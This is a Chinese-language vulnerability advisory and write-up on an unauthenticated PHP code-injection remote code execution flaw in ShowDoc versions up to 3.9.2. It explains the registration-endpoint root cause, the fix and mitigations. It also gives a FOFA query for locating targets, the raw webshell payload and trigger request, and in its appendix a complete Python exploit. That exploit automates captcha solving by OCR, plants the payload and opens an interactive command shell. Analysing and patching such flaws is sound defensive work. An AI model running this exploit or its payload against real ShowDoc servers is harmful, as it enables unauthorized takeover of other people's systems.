ShowDoc ≤ v3.9.2 registerByVerify 未授权PHP代码注入致远程代码执行漏洞


漏洞简介

ShowDoc 是 star7th 开发的开源在线 API 文档与文档协作工具,基于 php(Nginx + PHP-FPM)实现,提供注册/登录与文档管理能力,默认使用 SQLite 数据库,支持 Docker 一键部署,常用于企业内部 API 文档、数据字典、说明文档的沉淀与共享。

漏洞位于注册接口 registerByVerify(/server/index.php?s=/Api/User/registerByVerify)。接口对 username 参数仅做 trim() 处理,无字符白名单校验,恶意用户名作为普通字符串写入 SQLite 数据库文件 Sqlite/showdoc.db.php。该文件位于 Web 根目录且以 .php 结尾,攻击者直接请求该文件时,PHP-FPM 将其作为 php 脚本解析,执行 username 中注入的代码,实现未授权远程代码执行。攻击者利用该漏洞可执行任意系统命令、落地持久化 webshell,完全控制受影响系统。

漏洞编号:XVE-2026-54414(微步)、QVD-2026-61708(奇安信)。

利用条件:注册功能开启(默认开启),目标使用默认 SQLite 部署。全程无需任何认证。

影响版本

  • 影响版本:ShowDoc <= v3.9.2
  • 修复版本:v3.9.3(官方已发布,见 star7th/showdoc Release)

fofa语法

app="ShowDoc"

漏洞分析

攻击链总览

sequenceDiagram
    autonumber
    participant Attacker as 攻击者
    participant Web as ShowDoc 服务
    participant FPM as Nginx 加 PHP-FPM
    participant DB as Sqlite 数据库文件

    rect rgb(255,0,0,0.15)
        Note over Web,DB: 前置条件: 注册功能开启, 数据库已完成结构升级
        Attacker->>Web: POST /server/index.php 接口 registerByVerify
        Note over Attacker,Web: username 携带恶意 PHP 代码 (system 与 __halt_compiler, 尾部随机后缀)
        Web->>Web: registerByVerify 仅 trim 处理, 无字符白名单校验
        Web->>DB: INSERT INTO user, 恶意用户名原样写入数据库文件
    end

    rect rgb(255,0,0,0.15)
        Note over Attacker,DB: 请求数据库文件触发执行
        Attacker->>Web: GET /Sqlite/showdoc.db.php 带 cmd 参数
        Web->>FPM: .php 后缀命中, PHP-FPM 接管解析
        FPM->>FPM: PHP 标签前 SQLite 二进制按内联 HTML 输出
        FPM->>FPM: 注入 payload 为文件首个 PHP 标签, system 执行命令
        FPM->>FPM: __halt_compiler 终止编译, 后续 parse error 源失效
        FPM-->>Attacker: 返回命令执行结果
    end

注入点

registerByVerify()(server/app/Api/Controller/UserController.php):

$username = trim($this->getParam($request, 'username', ''));

过滤逻辑为 trim(),无字符类型校验。恶意用户名进入 INSERT 语句,存储类型 TEXT。v3.9.3 补充格式正则 ^[a-zA-Z0-9_\-\x{4e00}-\x{9fa5}]{2,30}$。

落地点

默认存储 SQLite。数据库文件为 Sqlite/showdoc.db.php(server/app/Common/Database/Database.php,DB_NAME 默认值)。.php 后缀的设计意图是阻止静态下载,副作用是库内字符串会进入 PHP 词法扫描。

触发点

GET /Sqlite/showdoc.db.php → nginx 匹配 .php 后缀 → php-fpm 解析。

PHP 词法规则:<?php 标签前的内容属内联 HTML,输出而不编译;标签内内容进入编译,parse error 属编译期致命错误,文件无执行阶段。SQLite 文件头 SQLite format 3\x00 与页二进制位于标签外,仅输出二进制乱码,不产生语法影响。

payload 编译顺序(利用前提)

利用前提是 payload 的编译顺序先于文件内一切 parse error 源。

模板库初始布局:sqlite_master 的 offset 929 处存在防下载表名 <?php(name/tbl_name/CREATE SQL 三处),表名标签内字节引发 parse error;user 表数据页物理位置靠后,注入数据的编译顺序靠后。模板库布局下直接注册无法利用。

首个 HTTP API 请求重排库布局:

  1. server/app/Common/bootstrap.php 中 PHP_SAPI !== 'cli' 时执行 Upgrade::checkAndUpgrade();
  2. db_version_num(0) < CURRENT_VERSION(32) → 执行 updateSqlite();
  3. DDL:26 个 CREATE TABLE + 10 余处 ALTER TABLE ADD COLUMN(user 表补 salt 列);
  4. 防下载表名 cell 迁移至文件后部(offset 7073);
  5. user 表 rootpage=4,新注册行写入 page 4 尾部 cell 区(offset 3937)。

布局重排后,注入 payload 成为文件内第一个 <?php 标签,编译顺序先于防下载表名,注入成立。实例被任意用户正常访问一次(升级已执行)后即可利用。

Docker 容器首启时 docker.run.sh 以 CLI 模式执行 php index.php /api/update/dockerUpdateCode,PHP_SAPI === 'cli',升级流程被跳过,防下载表名保持在 offset 931;install 向导不触及库结构,createCaptcha 等 API 请求为首个触发点。任意请求触发一次升级后布局即满足利用条件。

注意

窗口边界(实测):page 4 容量 1KB。实测前 7 个注册(uid 1-7)期间 payload 行均落陷阱前(GET 200+回显);第 8 个用户注册后 user 表 leaf 分裂,数据行移至高页号(陷阱后),该路径失效(GET 恢复 500)。对运营中的实例(user 表已有大量数据)此路径大概率失效,新鲜部署有效。

__halt_compiler() 的作用

__halt_compiler() 为编译器保留字,调用点终止本文件编译,其后字节退出词法分析。效果:offset 7073 的防下载表名与全部后续二进制退出编译范围,parse error 源清零;二进制内随机 <? 字节的语法影响清零。

payload 两段分工:

  • system($_REQUEST["cmd"]):执行命令;
  • __halt_compiler():终止编译,隔离后续字节。

缺失 __halt_compiler() 时编译失败于 offset 7073,文件无执行阶段,rce 链断。

修复版本行为

v3.9.3 对 registerByVerify() 与 login() 的 username 参数增加格式正则。注入 payload 的注册响应:

{"error_code":10101,"error_message":"用户名只允许字母、数字、下划线、横线、中文,2-30个字符"}

漏洞复现

前置条件:注册功能开启;默认 SQLite 部署;目标数据库已完成一次升级(普通部署实例日常访问即可满足;Docker 首启实例需先被任意请求访问)。

复现流程:

  1. 触发数据库升级:发送任意 API 请求(如验证码接口),使库布局满足利用条件;
  2. 注册接口提交注入用户名:
POST /server/index.php?s=/Api/User/registerByVerify
username=<?php system($_REQUEST["cmd"]);__halt_compiler();<随机后缀>
  1. 请求数据库文件触发执行:
GET /Sqlite/showdoc.db.php?cmd=id

响应包含 SQLite 二进制(内联 HTML 输出)与命令执行结果。payload 尾部随机后缀位于 __halt_compiler(); 之后,编译器忽略,保证用户名唯一,支持重复利用。

注册接口校验验证码。验证码为 Gregwar\Captcha,4 位,字符集 ABCDEFGHJKLMNPQRSTUVWXYZ23456789(不含 0/O/1/I),校验忽略大小写;每次重试生成新 captcha_id,接口无频率限制。

showdoc-registerbyverify-rce 提供 Python 利用脚本 exploit.py(EXP代码参考附录部分),依赖 Python 3 标准库,--ocr 模式需安装 ddddocr:

python3 exploit.py --url http://<target>:<port> --ocr --cmd id

验证码识别双模型输出一致且符合字符集/长度约束才提交;--db 参数在目标库文件本机可达时直接读取验证码明文;-i 进入交互式命令执行。

缓解措施

  1. 升级至 v3.9.3+;
  2. 关闭注册:options 表 register_open 置为 0;
  3. Web 服务器层禁止访问 /Sqlite/ 目录(Nginx 增加 deny 规则)。单独执行即可切断触发路径;
  4. SQLite 数据库文件迁移出 Web 根目录(如 /data/),或在文件头部增加 <?php die(); ?> 防护;有条件建议切换 MySQL;
  5. WAF/防护设备拦截 POST /server/index.php?s=/Api/User/registerByVerify 中 username 参数携带 <?、__halt_compiler、system( 等特征的请求;
  6. 已注入实例:升级不清除已入库恶意行,需执行 DELETE FROM user WHERE username LIKE '<?php%'; 并确认触发路径已关闭。

参考

附录

showdoc-registerbyverify-rce/blob/main/exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
ShowDoc <= v3.9.2 registerByVerify 未授权 PHP 代码注入漏洞 (XVE-2026-54414) 本地复现脚本

漏洞链:
  1. POST /server/index.php?s=/api/user/registerByVerify 的 username 参数仅做 trim,
     未做任何字符过滤 (v3.9.3 才补充用户名格式正则校验)
  2. 恶意用户名作为普通字符串写入 SQLite 数据库文件 Sqlite/showdoc.db.php
     (该文件以 .php 结尾, 会被 Web 服务器交给 PHP 解析)
  3. GET /Sqlite/showdoc.db.php?cmd=xxx 直接触发文件中存储的恶意 PHP 代码

payload 说明:
  <?php system($_REQUEST["cmd"]); __halt_compiler();
  - SQLite 文件头与前面的页数据在 PHP 标签之外, 仅被当作内联 HTML 输出
  - payload 是部署后文件中的第一个 <?php 标签, 进入 PHP 模式即执行 system()
  - __halt_compiler() 立即终止编译, 其后的数据库二进制 (含可能引发
    parse error 的防下载表名) 永远不会被编译到, 保证 payload 稳定执行
  - 尾部追加随机串 (位于 __halt_compiler 之后, 会被编译器忽略),
    使每次运行用户名唯一, 便于重复复现

验证码获取方式:
  --captcha ABCD   手动提供 (脚本可先下载验证码图片供人工识别)
  --ocr            ddddocr 双模型集成打码 + 失败自动换码重试 (需 pip install ddddocr)
  --db PATH        从本地挂载的 SQLite 库文件直接读取明文 (本地复现场景)
  交互输入         自动下载验证码图片后提示输入

仅用于本地授权安全研究/教学, 请勿用于未授权测试。
"""

import argparse
import json
import random
import re
import sqlite3
import string
import sys
import tempfile
import urllib.parse
import urllib.request

PAYLOAD = '<?php system($_REQUEST["cmd"]); __halt_compiler();'

REGISTER_PATH = "/server/index.php?s=/api/user/registerByVerify"
CAPTCHA_PATH = "/server/index.php?s=/api/common/createCaptcha"
CAPTCHA_IMG_PATH = "/server/index.php?s=/api/common/showCaptcha&captcha_id={}"
VERSION_PATH = "/server/index.php?s=/api/common/version"
TRIGGER_PATH = "/Sqlite/showdoc.db.php"

def http_post(url, data, timeout=30):
    body = urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(
        url, data=body,
        headers={"Content-Type": "application/x-www-form-urlencoded",
                 "User-Agent": "Mozilla/5.0 (local-poc)"})
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        return resp.read()

def http_get(url, timeout=30):
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0 (local-poc)"})
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        return resp.read()

def info(msg):
    print(f"[*] {msg}")

def ok(msg):
    print(f"[+] {msg}")

def fail(msg):
    print(f"[-] {msg}")

def check_version(base):
    """确认目标版本, 受影响版本 <= 3.9.2"""
    try:
        data = json.loads(http_get(base + VERSION_PATH))
        version = data.get("data", {}).get("version", "")
        ok(f"目标版本: {version}")
        if version > "v3.9.2":
            fail(f"{version} 已修复该漏洞 (v3.9.3 起对 username 做格式校验), 复现可能失败")
        return version
    except Exception as e:
        fail(f"版本探测失败: {e}")
        return None

def solve_captcha(base, args):
    """获取验证码明文: 手动 > 本地库读取 > 看图输入"""
    data = json.loads(http_post(base + CAPTCHA_PATH, {}))
    captcha_id = data["data"]["captcha_id"]
    info(f"captcha_id = {captcha_id}")

    if args.captcha:
        return captcha_id, args.captcha.strip()

    if args.db:
        conn = sqlite3.connect(f"file:{args.db}?mode=ro", uri=True)
        try:
            row = conn.execute(
                "SELECT captcha FROM captcha WHERE captcha_id=? AND expire_time>strftime('%s','now')",
                (captcha_id,)).fetchone()
        finally:
            conn.close()
        if row:
            ok(f"从本地 SQLite 读出验证码: {row[0]}")
            return captcha_id, row[0]
        fail("本地库中未读到该验证码, 回退到看图输入")

    img = http_get(base + CAPTCHA_IMG_PATH.format(captcha_id))
    path = tempfile.gettempdir() + "/showdoc_captcha.png"
    with open(path, "wb") as f:
        f.write(img)
    info(f"验证码图片已保存: {path} (macOS 可执行 open 命令查看)")
    code = input("    请输入图片中的验证码: ").strip()
    return captcha_id, code

def register(base, captcha_id, captcha):
    """注册携带恶意代码的用户名, 返回是否成功"""
    username = PAYLOAD + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
    password = "Poc12345x!"
    data = {
        "username": username,
        "password": password,
        "confirm_password": password,
        "captcha_id": captcha_id,
        "captcha": captcha,
    }
    resp = json.loads(http_post(base + REGISTER_PATH, data))
    if resp.get("error_code") == 0:
        ok(f"恶意用户注册成功 (uid={resp['data']['uid']}), payload 已写入 Sqlite/showdoc.db.php")
        return True
    fail(f"注册失败: {resp}")
    if resp.get("error_code") == 10206:
        fail("验证码不正确: 若用 --db 方式, 请确认容器卷路径正确且库文件为最新")
    return False

CAPTCHA_CHARSET = set("ABCDEFGHJKLMNPQRSTUVWXYZ23456789")

def try_ocr_register(base, max_register=8, max_samples=24):
    """ddddocr 新旧双模型集成打码, 输出一致才提交; 验证码失败换新码重试。

    实测 (Gregwar 4 位验证码, 40 样本): 单模型过滤后 ~50%, 双模型集成 70%,
    注册重试 <= 8 次成功率 ~100%, 期望采样 ~11 次, 全程 5-10 秒。
    """
    try:
        import io

        import ddddocr
        from PIL import Image
    except ImportError:
        fail("自动打码缺少依赖: pip install ddddocr (或改用 --captcha / --db 模式)")
        return False

    ocr_new = ddddocr.DdddOcr(show_ad=False)
    ocr_old = ddddocr.DdddOcr(show_ad=False, old=True)

    def predict(img_bytes, ocr):
        im = Image.open(io.BytesIO(img_bytes))
        im = im.resize((im.width * 2, im.height * 2)).convert("L")
        buf = io.BytesIO()
        im.save(buf, "PNG")
        return ocr.classification(buf.getvalue()).upper().strip()

    def valid(p):
        return len(p) == 4 and set(p) <= CAPTCHA_CHARSET

    samples = 0
    for attempt in range(1, max_register + 1):
        while samples < max_samples:
            samples += 1
            data = json.loads(http_post(base + CAPTCHA_PATH, {}))
            captcha_id = data["data"]["captcha_id"]
            img = http_get(base + CAPTCHA_IMG_PATH.format(captcha_id))
            p_new, p_old = predict(img, ocr_new), predict(img, ocr_old)
            if not (valid(p_new) and p_new == p_old):
                continue
            info(f"第 {attempt} 次注册: captcha_id={captcha_id}, 双模型识别={p_new} (采样 {samples} 次)")
            if register(base, captcha_id, p_new):
                return True
            break
        else:
            break
    fail("自动打码注册失败: 可重跑脚本, 或改用 --captcha / --db 模式")
    return False

def execute(base, cmd):
    """触发存储的恶意代码并提取命令输出"""
    m1 = "".join(random.choices("0123456789abcdef", k=12))
    m2 = "".join(random.choices("0123456789abcdef", k=12))
    wrapped = f"echo {m1}; {cmd}; echo {m2}"
    url = base + TRIGGER_PATH + "?cmd=" + urllib.parse.quote(wrapped, safe="")
    resp = http_get(url)
    match = re.search(m1.encode() + rb"\r?\n(.*?)" + m2.encode(), resp, re.S)
    if match:
        return match.group(1).decode("utf-8", "replace")
    return None

def main():
    banner = """
==============================================================
  ShowDoc <= 3.9.2 registerByVerify PHP 代码注入 RCE 复现
  漏洞编号 XVE-2026-54414 | 仅限本地授权安全研究使用
==============================================================
"""
    print(banner)
    parser = argparse.ArgumentParser(description="ShowDoc registerByVerify RCE 本地复现脚本")
    parser.add_argument("--url", required=True, help="目标根 URL, 如 http://target:4999")
    parser.add_argument("--db", help="本地挂载的 SQLite 库文件路径 (用于自动读取验证码明文)")
    parser.add_argument("--captcha", help="手动指定验证码 (配合图片人工识别)")
    parser.add_argument("--ocr", action="store_true",
                        help="ddddocr 双模型自动打码, 失败自动换码重试 (需 pip install ddddocr)")
    parser.add_argument("--cmd", default="id", help="要执行的命令 (默认 id)")
    parser.add_argument("-i", "--interactive", action="store_true", help="交互式命令执行模式")
    args = parser.parse_args()

    base = args.url.rstrip("/")

    check_version(base)

    if args.ocr:
        if not try_ocr_register(base):
            sys.exit(1)
    else:
        captcha_id, captcha = solve_captcha(base, args)
        if not register(base, captcha_id, captcha):
            sys.exit(1)

    info(f"触发: GET {TRIGGER_PATH}?cmd=...")
    out = execute(base, args.cmd)
    if out is None:
        fail("未获取到命令输出, 触发失败")
        sys.exit(1)
    ok("命令执行成功, `id` 结果:\n" + out.rstrip())

    if args.interactive:
        print()
        print("[*] 进入交互模式, 输入 exit 退出")
        while True:
            try:
                cmd = input("cmd> ").strip()
            except (EOFError, KeyboardInterrupt):
                break
            if not cmd or cmd.lower() in ("exit", "quit"):
                break
            out = execute(base, cmd)
            print(out if out else "(无输出/执行失败)")

if __name__ == "__main__":
    main()


手机扫码阅读

mihomo系客户端内置Sub-Store v2.11.4-2.37.1 38324端口未鉴权ScriptOperator RCE漏洞

明天医网科技 医技信息集成平台 DocumentService DocumentByPath 任意文件读取漏洞

评 论